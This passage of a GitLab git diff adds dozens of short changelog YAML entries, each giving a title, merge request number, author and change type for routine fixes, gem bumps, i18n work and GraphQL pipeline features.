+title: Track downloads of group code coverage CSV in snowplow
+merge_request: 40754
+author:
+type: added
diff --git a/changelogs/unreleased/eb-update-workhorse-8-45-0.yml b/changelogs/unreleased/eb-update-workhorse-8-45-0.yml
new file mode 100644
index 00000000000..a4d59eff47f
--- /dev/null
+++ b/changelogs/unreleased/eb-update-workhorse-8-45-0.yml
@@ -0,0 +1,5 @@
+---
+title: Update Workhorse to v8.45.0
+merge_request: 41293
+author:
+type: other
diff --git a/changelogs/unreleased/emilyring-cluster-new-vue.yml b/changelogs/unreleased/emilyring-cluster-new-vue.yml
new file mode 100644
index 00000000000..662e6eeaf62
--- /dev/null
+++ b/changelogs/unreleased/emilyring-cluster-new-vue.yml
@@ -0,0 +1,5 @@
+---
+title: Moved Cluster Connect Form to Vue
+merge_request: 40295
+author:
+type: changed
diff --git a/changelogs/unreleased/empty-lambda-cop.yml b/changelogs/unreleased/empty-lambda-cop.yml
new file mode 100644
index 00000000000..48423cc271d
--- /dev/null
+++ b/changelogs/unreleased/empty-lambda-cop.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Style/EmptyLambdaParameter cop
+merge_request: 41248
+author: Rajendra Kadam
+type: fixed
diff --git a/changelogs/unreleased/empty-lines-cop-fix.yml b/changelogs/unreleased/empty-lines-cop-fix.yml
new file mode 100644
index 00000000000..f5ed1955266
--- /dev/null
+++ b/changelogs/unreleased/empty-lines-cop-fix.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Layout/EmptyLinesAroundArguments cop
+merge_request: 41086
+author: Rajendra Kadam
+type: fixed
diff --git a/changelogs/unreleased/empty-literal-cop.yml b/changelogs/unreleased/empty-literal-cop.yml
new file mode 100644
index 00000000000..1d5b4857193
--- /dev/null
+++ b/changelogs/unreleased/empty-literal-cop.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Style/EmptyLiteral cop
+merge_request: 41110
+author: Rajendra Kadam
+type: fixed
diff --git a/changelogs/unreleased/enable-store-instance-statistics-ff-by-default.yml b/changelogs/unreleased/enable-store-instance-statistics-ff-by-default.yml
new file mode 100644
index 00000000000..25077bf65d8
--- /dev/null
+++ b/changelogs/unreleased/enable-store-instance-statistics-ff-by-default.yml
@@ -0,0 +1,5 @@
+---
+title: Store object counts periodically for instance statistics
+merge_request: 42433
+author:
+type: changed
diff --git a/changelogs/unreleased/enable_improved_mr_merged_at_queries_ff_by_default.yml b/changelogs/unreleased/enable_improved_mr_merged_at_queries_ff_by_default.yml
new file mode 100644
index 00000000000..115be2994a0
--- /dev/null
+++ b/changelogs/unreleased/enable_improved_mr_merged_at_queries_ff_by_default.yml
@@ -0,0 +1,5 @@
+---
+title: Improve Productivity Analytics and Merge Request Analytics database queries
+merge_request: 40838
+author:
+type: performance
diff --git a/changelogs/unreleased/ensure-db-consistency-after-36321.yml b/changelogs/unreleased/ensure-db-consistency-after-36321.yml
new file mode 100644
index 00000000000..4e388c1c726
--- /dev/null
+++ b/changelogs/unreleased/ensure-db-consistency-after-36321.yml
@@ -0,0 +1,5 @@
+---
+title: Ensure namespace settings are backfilled via migration
+merge_request: 41679
+author:
+type: other
diff --git a/changelogs/unreleased/eread-migrate-remove-desc-history-button.yml b/changelogs/unreleased/eread-migrate-remove-desc-history-button.yml
new file mode 100644
index 00000000000..ba2ab7221fa
--- /dev/null
+++ b/changelogs/unreleased/eread-migrate-remove-desc-history-button.yml
@@ -0,0 +1,5 @@
+---
+title: Migrate remove description history button to new button
+merge_request: 40806
+author:
+type: other
diff --git a/changelogs/unreleased/ewm-proj-service.yml b/changelogs/unreleased/ewm-proj-service.yml
new file mode 100644
index 00000000000..9083ff987ae
--- /dev/null
+++ b/changelogs/unreleased/ewm-proj-service.yml
@@ -0,0 +1,5 @@
+---
+title: Added EWM work item tracker integration
+merge_request: 36662
+author:
+type: added
diff --git a/changelogs/unreleased/expose_time_note_from_api.yml b/changelogs/unreleased/expose_time_note_from_api.yml
new file mode 100644
index 00000000000..8b12d3e2bc6
--- /dev/null
+++ b/changelogs/unreleased/expose_time_note_from_api.yml
@@ -0,0 +1,5 @@
+---
+title: Add note to graphql timelog_type
+merge_request: 37748
+author: Lee Tickett
+type: added
diff --git a/changelogs/unreleased/feature-collapsed-files-warning.yml b/changelogs/unreleased/feature-collapsed-files-warning.yml
new file mode 100644
index 00000000000..8fc1cc6b701
--- /dev/null
+++ b/changelogs/unreleased/feature-collapsed-files-warning.yml
@@ -0,0 +1,5 @@
+---
+title: Add a warning when any diff files are collapsed
+merge_request: 40752
+author:
+type: added
diff --git a/changelogs/unreleased/feature-gb-add-ci-build-state-table.yml b/changelogs/unreleased/feature-gb-add-ci-build-state-table.yml
new file mode 100644
index 00000000000..9db08697bcf
--- /dev/null
+++ b/changelogs/unreleased/feature-gb-add-ci-build-state-table.yml
@@ -0,0 +1,5 @@
+---
+title: Introduce build states table / model / migration
+merge_request: 41585
+author:
+type: added
diff --git a/changelogs/unreleased/feature-gb-live-build-traces-finalize-api.yml b/changelogs/unreleased/feature-gb-live-build-traces-finalize-api.yml
new file mode 100644
index 00000000000..68c07d54d57
--- /dev/null
+++ b/changelogs/unreleased/feature-gb-live-build-traces-finalize-api.yml
@@ -0,0 +1,5 @@
+---
+title: Migrate live traces before updating build state
+merge_request: 41304
+author:
+type: added
diff --git a/changelogs/unreleased/feature-gb-resilient-live-trace-chunks.yml b/changelogs/unreleased/feature-gb-resilient-live-trace-chunks.yml
new file mode 100644
index 00000000000..4e85d53bec5
--- /dev/null
+++ b/changelogs/unreleased/feature-gb-resilient-live-trace-chunks.yml
@@ -0,0 +1,5 @@
+---
+title: Make cloud native build logs more resilient
+merge_request: 40506
+author:
+type: added
diff --git a/changelogs/unreleased/feature-highlight-collapsed-diff-files.yml b/changelogs/unreleased/feature-highlight-collapsed-diff-files.yml
new file mode 100644
index 00000000000..926eb2ccab4
--- /dev/null
+++ b/changelogs/unreleased/feature-highlight-collapsed-diff-files.yml
@@ -0,0 +1,5 @@
+---
+title: 'Expand the visible highlight for collapsed diffs (re: !41393)'
+merge_request: 42343
+author:
+type: other
diff --git a/changelogs/unreleased/feature-issue_241962.yml b/changelogs/unreleased/feature-issue_241962.yml
new file mode 100644
index 00000000000..1f95ecdc432
--- /dev/null
+++ b/changelogs/unreleased/feature-issue_241962.yml
@@ -0,0 +1,5 @@
+---
+title: Replace v-html to v-safe-html directive
+merge_request: 41305
+author: Kazuya Kojima
+type: other
diff --git a/changelogs/unreleased/ff-kubernetes_agent_internal_api.yml b/changelogs/unreleased/ff-kubernetes_agent_internal_api.yml
new file mode 100644
index 00000000000..8a5c6bc4a01
--- /dev/null
+++ b/changelogs/unreleased/ff-kubernetes_agent_internal_api.yml
@@ -0,0 +1,5 @@
+---
+title: Internal API for GitLab Kubernetes agent
+merge_request: 41045
+author:
+type: other
diff --git a/changelogs/unreleased/first-param-cop.yml b/changelogs/unreleased/first-param-cop.yml
new file mode 100644
index 00000000000..b47eb43656c
--- /dev/null
+++ b/changelogs/unreleased/first-param-cop.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Layout/FirstParameterIndentation cop
+merge_request: 41089
+author:
+type: fixed
diff --git a/changelogs/unreleased/fix-219551_project_token_http.yml b/changelogs/unreleased/fix-219551_project_token_http.yml
new file mode 100644
index 00000000000..f5ac75702dc
--- /dev/null
+++ b/changelogs/unreleased/fix-219551_project_token_http.yml
@@ -0,0 +1,5 @@
+---
+title: allow project bot account to clone through http
+merge_request: 40635
+author: Philippe Vienne @PhilippeVienne
+type: fixed
diff --git a/changelogs/unreleased/fix-bump-ado-image-to-1-0-3.yml b/changelogs/unreleased/fix-bump-ado-image-to-1-0-3.yml
new file mode 100644
index 00000000000..6000a9f493d
--- /dev/null
+++ b/changelogs/unreleased/fix-bump-ado-image-to-1-0-3.yml
@@ -0,0 +1,6 @@
+---
+title: Fixes Auto DevOps deploy script for multiple additional hosts separated by
+ comma and space
+merge_request: 41404
+author:
+type: fixed
diff --git a/changelogs/unreleased/fix-css-pipeline-graph.yml b/changelogs/unreleased/fix-css-pipeline-graph.yml
new file mode 100644
index 00000000000..bf554ac0d70
--- /dev/null
+++ b/changelogs/unreleased/fix-css-pipeline-graph.yml
@@ -0,0 +1,5 @@
+---
+title: Fix the broken CSS on the pipeline graph
+merge_request: 40386
+author:
+type: fixed
diff --git a/changelogs/unreleased/fix-design-management-archive-button.yml b/changelogs/unreleased/fix-design-management-archive-button.yml
new file mode 100644
index 00000000000..3e0518fd745
--- /dev/null
+++ b/changelogs/unreleased/fix-design-management-archive-button.yml
@@ -0,0 +1,5 @@
+---
+title: Fix design management Archive Selected button label
+merge_request: 40325
+author:
+type: fixed
diff --git a/changelogs/unreleased/fix-design-managemnt-comment-highlight.yml b/changelogs/unreleased/fix-design-managemnt-comment-highlight.yml
new file mode 100644
index 00000000000..d808e52e9b7
--- /dev/null
+++ b/changelogs/unreleased/fix-design-managemnt-comment-highlight.yml
@@ -0,0 +1,5 @@
+---
+title: Ensure design comment is highlighted when comment is in URL
+merge_request: 40477
+author:
+type: fixed
diff --git a/changelogs/unreleased/fix-pipeline-link.yml b/changelogs/unreleased/fix-pipeline-link.yml
new file mode 100644
index 00000000000..b1523a400ef
--- /dev/null
+++ b/changelogs/unreleased/fix-pipeline-link.yml
@@ -0,0 +1,5 @@
+---
+title: Fixes wrong MR pipeline link when FF-merge strategy is used
+merge_request: 39396
+author:
+type: fixed
diff --git a/changelogs/unreleased/fix-regexp-dotenv.yml b/changelogs/unreleased/fix-regexp-dotenv.yml
new file mode 100644
index 00000000000..4c6247d2259
--- /dev/null
+++ b/changelogs/unreleased/fix-regexp-dotenv.yml
@@ -0,0 +1,5 @@
+---
+title: Fix RegExp for dotenv report artifact
+merge_request: 38562
+author:
+type: fixed
diff --git a/changelogs/unreleased/fix-require-at-least-one-optional-param-in-mr-put-api.yml b/changelogs/unreleased/fix-require-at-least-one-optional-param-in-mr-put-api.yml
new file mode 100644
index 00000000000..6ca89e41c2f
--- /dev/null
+++ b/changelogs/unreleased/fix-require-at-least-one-optional-param-in-mr-put-api.yml
@@ -0,0 +1,5 @@
+---
+title: 'MR API: Allow `allow_{collaboration,maintainer_to_push}` to be updated'
+merge_request: 41088
+author:
+type: fixed
diff --git a/changelogs/unreleased/fix-run-pipeline-in-target-project.yml b/changelogs/unreleased/fix-run-pipeline-in-target-project.yml
new file mode 100644
index 00000000000..6d402b8050b
--- /dev/null
+++ b/changelogs/unreleased/fix-run-pipeline-in-target-project.yml
@@ -0,0 +1,6 @@
+---
+title: Fix fork users cannot create pipelines in a fork project when parent project
+ protects all branches
+merge_request: 40724
+author:
+type: fixed
diff --git a/changelogs/unreleased/fix-scroll-to-note-designs.yml b/changelogs/unreleased/fix-scroll-to-note-designs.yml
new file mode 100644
index 00000000000..611c9654cce
--- /dev/null
+++ b/changelogs/unreleased/fix-scroll-to-note-designs.yml
@@ -0,0 +1,5 @@
+---
+title: Highlight design discussion if any comment in discussion is linked
+merge_request: 41062
+author:
+type: fixed
diff --git a/changelogs/unreleased/fix-system-notes-when-moving-issues.yml b/changelogs/unreleased/fix-system-notes-when-moving-issues.yml
new file mode 100644
index 00000000000..6d0836f7f38
--- /dev/null
+++ b/changelogs/unreleased/fix-system-notes-when-moving-issues.yml
@@ -0,0 +1,5 @@
+---
+title: Prevent duplicate system notes and events when an issue is moved
+merge_request: 41087
+author:
+type: fixed
diff --git a/changelogs/unreleased/fix-text-overflow-profile-activity.yml b/changelogs/unreleased/fix-text-overflow-profile-activity.yml
new file mode 100644
index 00000000000..ede46d15077
--- /dev/null
+++ b/changelogs/unreleased/fix-text-overflow-profile-activity.yml
@@ -0,0 +1,5 @@
+---
+title: Fix text overflow events issue name
+merge_request: 42370
+author:
+type: fixed
diff --git a/changelogs/unreleased/fix-toggle_button-vue.yml b/changelogs/unreleased/fix-toggle_button-vue.yml
new file mode 100644
index 00000000000..158ebd291e1
--- /dev/null
+++ b/changelogs/unreleased/fix-toggle_button-vue.yml
@@ -0,0 +1,5 @@
+---
+title: Improve click surface area of toggle buttons
+merge_request: 40231
+author:
+type: changed
diff --git a/changelogs/unreleased/fix-warning-message-on-transfer.yml b/changelogs/unreleased/fix-warning-message-on-transfer.yml
new file mode 100644
index 00000000000..d98d7a8a345
--- /dev/null
+++ b/changelogs/unreleased/fix-warning-message-on-transfer.yml
@@ -0,0 +1,5 @@
+---
+title: Change the warning message on project transfer to another namespace
+merge_request: 41059
+author: Takuya Noguchi
+type: fixed
diff --git a/changelogs/unreleased/fix_concurrent_backup.yml b/changelogs/unreleased/fix_concurrent_backup.yml
new file mode 100644
index 00000000000..b71219d6919
--- /dev/null
+++ b/changelogs/unreleased/fix_concurrent_backup.yml
@@ -0,0 +1,5 @@
+---
+title: Fix deadlock in backup repositories rake task
+merge_request: 41042
+author:
+type: fixed
diff --git a/changelogs/unreleased/fix_notificationsettings_page_nonexistent_parent.yml b/changelogs/unreleased/fix_notificationsettings_page_nonexistent_parent.yml
new file mode 100644
index 00000000000..c1466cca5f5
--- /dev/null
+++ b/changelogs/unreleased/fix_notificationsettings_page_nonexistent_parent.yml
@@ -0,0 +1,5 @@
+---
+title: NotificationsController - Handle mising parent notificationsetting
+merge_request: 41612
+author:
+type: fixed
diff --git a/changelogs/unreleased/fj-remove-snippet-redirection-when-blob-binary.yml b/changelogs/unreleased/fj-remove-snippet-redirection-when-blob-binary.yml
new file mode 100644
index 00000000000..226549f6077
--- /dev/null
+++ b/changelogs/unreleased/fj-remove-snippet-redirection-when-blob-binary.yml
@@ -0,0 +1,5 @@
+---
+title: Remove redirection when snippet has a binary blob
+merge_request: 39858
+author:
+type: changed
diff --git a/changelogs/unreleased/gaga5lala-issue-222306.yml b/changelogs/unreleased/gaga5lala-issue-222306.yml
new file mode 100644
index 00000000000..eda8b2f7929
--- /dev/null
+++ b/changelogs/unreleased/gaga5lala-issue-222306.yml
@@ -0,0 +1,5 @@
+---
+title: Convert spec_helper to fast_spec_helper
+merge_request: 41755
+author: gaga5lala
+type: other
diff --git a/changelogs/unreleased/gaga5lala-remove-feature-flag.yml b/changelogs/unreleased/gaga5lala-remove-feature-flag.yml
new file mode 100644
index 00000000000..b13ddbb978c
--- /dev/null
+++ b/changelogs/unreleased/gaga5lala-remove-feature-flag.yml
@@ -0,0 +1,5 @@
+---
+title: Remove attempt_project_search_optimizations feature flag
+merge_request: 41550
+author: gaga5lala
+type: other
diff --git a/changelogs/unreleased/georgekoltsov-add-importing-issues-usage-pings.yml b/changelogs/unreleased/georgekoltsov-add-importing-issues-usage-pings.yml
new file mode 100644
index 00000000000..f619882599d
--- /dev/null
+++ b/changelogs/unreleased/georgekoltsov-add-importing-issues-usage-pings.yml
@@ -0,0 +1,5 @@
+---
+title: Add issue importers usage pings (FogBugz, Phabricator, Jira)
+merge_request: 40382
+author:
+type: added
diff --git a/changelogs/unreleased/georgekoltsov-add-importing-projects-usage-ping.yml b/changelogs/unreleased/georgekoltsov-add-importing-projects-usage-ping.yml
new file mode 100644
index 00000000000..ddfe1d8f27c
--- /dev/null
+++ b/changelogs/unreleased/georgekoltsov-add-importing-projects-usage-ping.yml
@@ -0,0 +1,5 @@
+---
+title: Add usage pings for project import using various importers (GitLab, Bitbucket, Gitea, GitHub and more)
+merge_request: 40130
+author:
+type: added
diff --git a/changelogs/unreleased/hide-latest-versions-from-ui.yml b/changelogs/unreleased/hide-latest-versions-from-ui.yml
new file mode 100644
index 00000000000..27d276df7f9
--- /dev/null
+++ b/changelogs/unreleased/hide-latest-versions-from-ui.yml
@@ -0,0 +1,5 @@
+---
+title: Hide the latest version of templates from the template selector
+merge_request: 40937
+author:
+type: other
diff --git a/changelogs/unreleased/i18n-admin-dashboard.yml b/changelogs/unreleased/i18n-admin-dashboard.yml
new file mode 100644
index 00000000000..fa75f02e874
--- /dev/null
+++ b/changelogs/unreleased/i18n-admin-dashboard.yml
@@ -0,0 +1,5 @@
+---
+title: Externalize i18n strings from admin dashboard
+merge_request: 41387
+author: Takuya Noguchi
+type: other
diff --git a/changelogs/unreleased/i18n-runners.yml b/changelogs/unreleased/i18n-runners.yml
new file mode 100644
index 00000000000..526333ac313
--- /dev/null
+++ b/changelogs/unreleased/i18n-runners.yml
@@ -0,0 +1,5 @@
+---
+title: Externalize i18n strings from app/views/shared/runners/show.html.haml
+merge_request: 41241
+author: Takuya Noguchi
+type: other
diff --git a/changelogs/unreleased/i18n-snippets-header.yml b/changelogs/unreleased/i18n-snippets-header.yml
new file mode 100644
index 00000000000..76e68604cf2
--- /dev/null
+++ b/changelogs/unreleased/i18n-snippets-header.yml
@@ -0,0 +1,5 @@
+---
+title: Externalize i18n strings from snippets/_header HAML
+merge_request: 41235
+author: Takuya Noguchi
+type: other
diff --git a/changelogs/unreleased/i18n-webhook-form.yml b/changelogs/unreleased/i18n-webhook-form.yml
new file mode 100644
index 00000000000..5506b11d6f2
--- /dev/null
+++ b/changelogs/unreleased/i18n-webhook-form.yml
@@ -0,0 +1,5 @@
+---
+title: Externalize i18n strings from app/views/shared/web_hooks/_form.html.haml
+merge_request: 41234
+author: Takuya Noguchi
+type: other
diff --git a/changelogs/unreleased/id-bump-doorkeeper-5-1.yml b/changelogs/unreleased/id-bump-doorkeeper-5-1.yml
new file mode 100644
index 00000000000..d8a5d2749b2
--- /dev/null
+++ b/changelogs/unreleased/id-bump-doorkeeper-5-1.yml
@@ -0,0 +1,5 @@
+---
+title: Bump doorkeeper to 5.1.1
+merge_request: 40546
+author:
+type: changed
diff --git a/changelogs/unreleased/id-bump-doorkeeper-5-3.yml b/changelogs/unreleased/id-bump-doorkeeper-5-3.yml
new file mode 100644
index 00000000000..53c641aecbf
--- /dev/null
+++ b/changelogs/unreleased/id-bump-doorkeeper-5-3.yml
@@ -0,0 +1,5 @@
+---
+title: Bump doorkeeper to 5.3.0
+merge_request: 40929
+author:
+type: changed
diff --git a/changelogs/unreleased/id-bump-marginalia-gem.yml b/changelogs/unreleased/id-bump-marginalia-gem.yml
new file mode 100644
index 00000000000..03c7d9f0e7c
--- /dev/null
+++ b/changelogs/unreleased/id-bump-marginalia-gem.yml
@@ -0,0 +1,5 @@
+---
+title: Bump marginalia gem version to 1.9.0
+merge_request: 40481
+author:
+type: changed
diff --git a/changelogs/unreleased/id-enable-merge-request-draft-filter.yml b/changelogs/unreleased/id-enable-merge-request-draft-filter.yml
new file mode 100644
index 00000000000..88d29ee7733
--- /dev/null
+++ b/changelogs/unreleased/id-enable-merge-request-draft-filter.yml
@@ -0,0 +1,5 @@
+---
+title: Include draft merge request into filter response
+merge_request: 40376
+author:
+type: changed
diff --git a/changelogs/unreleased/id-increase-poll-interval-for-merged-mrs.yml b/changelogs/unreleased/id-increase-poll-interval-for-merged-mrs.yml
new file mode 100644
index 00000000000..381243fbd68
--- /dev/null
+++ b/changelogs/unreleased/id-increase-poll-interval-for-merged-mrs.yml
@@ -0,0 +1,5 @@
+---
+title: Increase poll interval for merged MRs widget
+merge_request: 39961
+author:
+type: performance
diff --git a/changelogs/unreleased/id-link-existing-lfs.yml b/changelogs/unreleased/id-link-existing-lfs.yml
new file mode 100644
index 00000000000..85171658a51
--- /dev/null
+++ b/changelogs/unreleased/id-link-existing-lfs.yml
@@ -0,0 +1,5 @@
+---
+title: Verify only 1mb of existing LFS object to improve LfsDownloadService performance
+merge_request: 41770
+author:
+type: performance
diff --git a/changelogs/unreleased/id-remove-memoize-on-processing-ref-changes.yml b/changelogs/unreleased/id-remove-memoize-on-processing-ref-changes.yml
new file mode 100644
index 00000000000..2c52d5f3f61
--- /dev/null
+++ b/changelogs/unreleased/id-remove-memoize-on-processing-ref-changes.yml
@@ -0,0 +1,5 @@
+---
+title: Fix wrong caching logic in ProcessRefChangesService
+merge_request: 40821
+author:
+type: fixed
diff --git a/changelogs/unreleased/improve-group-coverage-query-performance.yml b/changelogs/unreleased/improve-group-coverage-query-performance.yml
new file mode 100644
index 00000000000..4fc099d9047
--- /dev/null
+++ b/changelogs/unreleased/improve-group-coverage-query-performance.yml
@@ -0,0 +1,5 @@
+---
+title: Preload projects to prevent N+1 when populating project name
+merge_request: 40769
+author:
+type: performance
diff --git a/changelogs/unreleased/issue-227174.yml b/changelogs/unreleased/issue-227174.yml
new file mode 100644
index 00000000000..04dbc3e7df4
--- /dev/null
+++ b/changelogs/unreleased/issue-227174.yml
@@ -0,0 +1,5 @@
+---
+title: Handle todos api argument error
+merge_request: 41167
+author: gaga5lala
+type: fixed
diff --git a/changelogs/unreleased/issue-type-spacing.yml b/changelogs/unreleased/issue-type-spacing.yml
new file mode 100644
index 00000000000..da1cf0ca908
--- /dev/null
+++ b/changelogs/unreleased/issue-type-spacing.yml
@@ -0,0 +1,5 @@
+---
+title: Update template warning padding on New Issue form
+merge_request: 42154
+author:
+type: changed
diff --git a/changelogs/unreleased/issue_34247.yml b/changelogs/unreleased/issue_34247.yml
new file mode 100644
index 00000000000..75791086c08
--- /dev/null
+++ b/changelogs/unreleased/issue_34247.yml
@@ -0,0 +1,5 @@
+---
+title: Remove pipeline_id column from requirements_test_reports
+merge_request: 38924
+author:
+type: deprecated
diff --git a/changelogs/unreleased/it-behaves-cop.yml b/changelogs/unreleased/it-behaves-cop.yml
new file mode 100644
index 00000000000..95bb412c55a
--- /dev/null
+++ b/changelogs/unreleased/it-behaves-cop.yml
@@ -0,0 +1,5 @@
+---
+title: Fix RSpec/ItBehavesLike cop
+merge_request: 41111
+author: Rajendra Kadam
+type: fixed
diff --git a/changelogs/unreleased/jcunha-feature-update-managed-apps-to-0-29-0.yml b/changelogs/unreleased/jcunha-feature-update-managed-apps-to-0-29-0.yml
new file mode 100644
index 00000000000..7a8a90a5fdd
--- /dev/null
+++ b/changelogs/unreleased/jcunha-feature-update-managed-apps-to-0-29-0.yml
@@ -0,0 +1,5 @@
+---
+title: Update Managed Cluster Applications to v0.29.0, including WAF for ingress, a smaller CI template, and version updates to a few applications
+merge_request: 39890
+author:
+type: changed
diff --git a/changelogs/unreleased/jdb-fix-diffs-viewer-max-lines.yml b/changelogs/unreleased/jdb-fix-diffs-viewer-max-lines.yml
new file mode 100644
index 00000000000..e482ce337e2
--- /dev/null
+++ b/changelogs/unreleased/jdb-fix-diffs-viewer-max-lines.yml
@@ -0,0 +1,5 @@
+---
+title: Fix client usage of max line rendering
+merge_request: 40741
+author:
+type: fixed
diff --git a/changelogs/unreleased/jdb-refactor-inline-diff-table-row.yml b/changelogs/unreleased/jdb-refactor-inline-diff-table-row.yml
new file mode 100644
index 00000000000..9d3d9ea0b0a
--- /dev/null
+++ b/changelogs/unreleased/jdb-refactor-inline-diff-table-row.yml
@@ -0,0 +1,5 @@
+---
+title: Jdb/refactor inline diff table row
+merge_request: 40906
+author:
+type: performance
diff --git a/changelogs/unreleased/jdb-refactor-parallel-diff-table-row.yml b/changelogs/unreleased/jdb-refactor-parallel-diff-table-row.yml
new file mode 100644
index 00000000000..0ba328a028b
--- /dev/null
+++ b/changelogs/unreleased/jdb-refactor-parallel-diff-table-row.yml
@@ -0,0 +1,5 @@
+---
+title: Jdb/refactor parallel diff table row
+merge_request: 41606
+author:
+type: performance
diff --git a/changelogs/unreleased/jh-allow-x-envelope-to-header.yml b/changelogs/unreleased/jh-allow-x-envelope-to-header.yml
new file mode 100644
index 00000000000..39e2afb29e4
--- /dev/null
+++ b/changelogs/unreleased/jh-allow-x-envelope-to-header.yml
@@ -0,0 +1,5 @@
+---
+title: Support X-Envelope-To header as a location for Service Desk key
+merge_request: 40001
+author:
+type: fixed
diff --git a/changelogs/unreleased/jl-milestone-title-spacing.yml b/changelogs/unreleased/jl-milestone-title-spacing.yml
new file mode 100644
index 00000000000..57923ea5c8b
--- /dev/null
+++ b/changelogs/unreleased/jl-milestone-title-spacing.yml
@@ -0,0 +1,5 @@
+---
+title: Fix spacing and borders in milestone title and description
+merge_request: 40649
+author:
+type: fixed
diff --git a/changelogs/unreleased/kp-fix-missing-create-manage-labels-issue-board.yml b/changelogs/unreleased/kp-fix-missing-create-manage-labels-issue-board.yml
new file mode 100644
index 00000000000..9de8e58846a
--- /dev/null
+++ b/changelogs/unreleased/kp-fix-missing-create-manage-labels-issue-board.yml
@@ -0,0 +1,5 @@
+---
+title: Fix create & manage label actions in Labels dropdown
+merge_request: 40511
+author:
+type: fixed
diff --git a/changelogs/unreleased/laravel-ci-docs-updates.yml b/changelogs/unreleased/laravel-ci-docs-updates.yml
new file mode 100644
index 00000000000..193a7030fb0
--- /dev/null
+++ b/changelogs/unreleased/laravel-ci-docs-updates.yml
@@ -0,0 +1,5 @@
+---
+title: Update deprecated software versions to the latest
+merge_request: 42158
+author: tnir
+type: other
diff --git a/changelogs/unreleased/leipert-ajax-spinner-icons.yml b/changelogs/unreleased/leipert-ajax-spinner-icons.yml
new file mode 100644
index 00000000000..a934daa0c87
--- /dev/null
+++ b/changelogs/unreleased/leipert-ajax-spinner-icons.yml
@@ -0,0 +1,5 @@
+---
+title: Change icon for branch delete button
+merge_request: 39968
+author:
+type: changed
diff --git a/changelogs/unreleased/let-before-examples-cop.yml b/changelogs/unreleased/let-before-examples-cop.yml
new file mode 100644
index 00000000000..fca5fd58f1d
--- /dev/null
+++ b/changelogs/unreleased/let-before-examples-cop.yml
@@ -0,0 +1,5 @@
+---
+title: Fix RSpec/LetBeforeExamples cop
+merge_request: 41250
+author: Rajendra Kadam
+type: fixed
diff --git a/changelogs/unreleased/lint-uri-regex.yml b/changelogs/unreleased/lint-uri-regex.yml
new file mode 100644
index 00000000000..78f113776cd
--- /dev/null
+++ b/changelogs/unreleased/lint-uri-regex.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Lint/UriRegexp cop
+merge_request: 41117
+author: Rajendra Kadam
+type: fixed
diff --git a/changelogs/unreleased/lm-add-pipeline-actions.yml b/changelogs/unreleased/lm-add-pipeline-actions.yml
new file mode 100644
index 00000000000..81d496e785e
--- /dev/null
+++ b/changelogs/unreleased/lm-add-pipeline-actions.yml
@@ -0,0 +1,5 @@
+---
+title: 'GraphQL: Add retryable and cancelable to PipelineType'
+merge_request: 40780
+author:
+type: added
diff --git a/changelogs/unreleased/lm-be-pipeline-mutations.yml b/changelogs/unreleased/lm-be-pipeline-mutations.yml
new file mode 100644
index 00000000000..650722506df
--- /dev/null
+++ b/changelogs/unreleased/lm-be-pipeline-mutations.yml
@@ -0,0 +1,5 @@
+---
+title: 'GraphQL: Pipeline mutations for retry, cancel, and destroy'
+merge_request: 39780
+author:
+type: added
diff --git a/changelogs/unreleased/lm-update-pipeline-mutation.yml b/changelogs/unreleased/lm-update-pipeline-mutation.yml
new file mode 100644
index 00000000000..53c31b21fe3
--- /dev/null
+++ b/changelogs/unreleased/lm-update-pipeline-mutation.yml
@@ -0,0 +1,5 @@
+---
+title: 'GraphQL: Updates PipelineCancel mutation'
+merge_request: 40764
+author:
+type: changed
diff --git a/changelogs/unreleased/maintenance-improve-file-by-file.yml b/changelogs/unreleased/maintenance-improve-file-by-file.yml
new file mode 100644
index 00000000000..56b1668f0b1
--- /dev/null
+++ b/changelogs/unreleased/maintenance-improve-file-by-file.yml
@@ -0,0 +1,5 @@
+---
+title: Tweak file-by-file display and add file current/total display
+merge_request: 39719
+author:
+type: changed
diff --git a/changelogs/unreleased/make-all-downstream-upstream-ids-links.yml b/changelogs/unreleased/make-all-downstream-upstream-ids-links.yml
new file mode 100644
index 00000000000..e2336609354
--- /dev/null
+++ b/changelogs/unreleased/make-all-downstream-upstream-ids-links.yml
@@ -0,0 +1,5 @@
+---
+title: Make Pipeline ID's always a link for downstream/upstream pipelines
+merge_request: 42107
+author:
+type: added
diff --git a/changelogs/unreleased/make-bridge-pipelines-clickable.yml b/changelogs/unreleased/make-bridge-pipelines-clickable.yml
new file mode 100644
index 00000000000..0151aa97826
--- /dev/null
+++ b/changelogs/unreleased/make-bridge-pipelines-clickable.yml
@@ -0,0 +1,5 @@
+---
+title: Make bridge/child pipelines clickable
+merge_request: 41263
+author:
+type: added
diff --git a/changelogs/unreleased/marcel-update-deprecated-button-5.yml b/changelogs/unreleased/marcel-update-deprecated-button-5.yml
new file mode 100644
index 00000000000..75f41605955
--- /dev/null
+++ b/changelogs/unreleased/marcel-update-deprecated-button-5.yml
@@ -0,0 +1,5 @@
+---
+title: Update spec to glbutton
+merge_request: 39311
+author:
+type: other
diff --git a/changelogs/unreleased/mark-todos-as-done-on-mobile.yml b/changelogs/unreleased/mark-todos-as-done-on-mobile.yml
new file mode 100644
index 00000000000..b7aafa57337
--- /dev/null
+++ b/changelogs/unreleased/mark-todos-as-done-on-mobile.yml
@@ -0,0 +1,5 @@
+---
+title: Centerize text on Mark all as done button on To-Do List
+merge_request: 41269
+author: Takuya Noguchi
+type: fixed
diff --git a/changelogs/unreleased/matrix-job-names-rollout.yml b/changelogs/unreleased/matrix-job-names-rollout.yml
new file mode 100644
index 00000000000..177d09802c3
--- /dev/null
+++ b/changelogs/unreleased/matrix-job-names-rollout.yml
@@ -0,0 +1,5 @@
+---
+title: Parallel matrix jobs show relevant variables in job name
+merge_request: 41080
+author:
+type: added
diff --git a/changelogs/unreleased/mc-feature-remove-keep-latest-artifact-ff.yml b/changelogs/unreleased/mc-feature-remove-keep-latest-artifact-ff.yml
new file mode 100644
index 00000000000..8b3449f3273
--- /dev/null
+++ b/changelogs/unreleased/mc-feature-remove-keep-latest-artifact-ff.yml
@@ -0,0 +1,5 @@
+---
+title: Remove keep latest artifact feature flags.
+merge_request: 40478
+author:
+type: other
diff --git a/changelogs/unreleased/mc-feature-show-keep-button-for-locked-artifacts.yml b/changelogs/unreleased/mc-feature-show-keep-button-for-locked-artifacts.yml
new file mode 100644
index 00000000000..fb0ca679d33
--- /dev/null
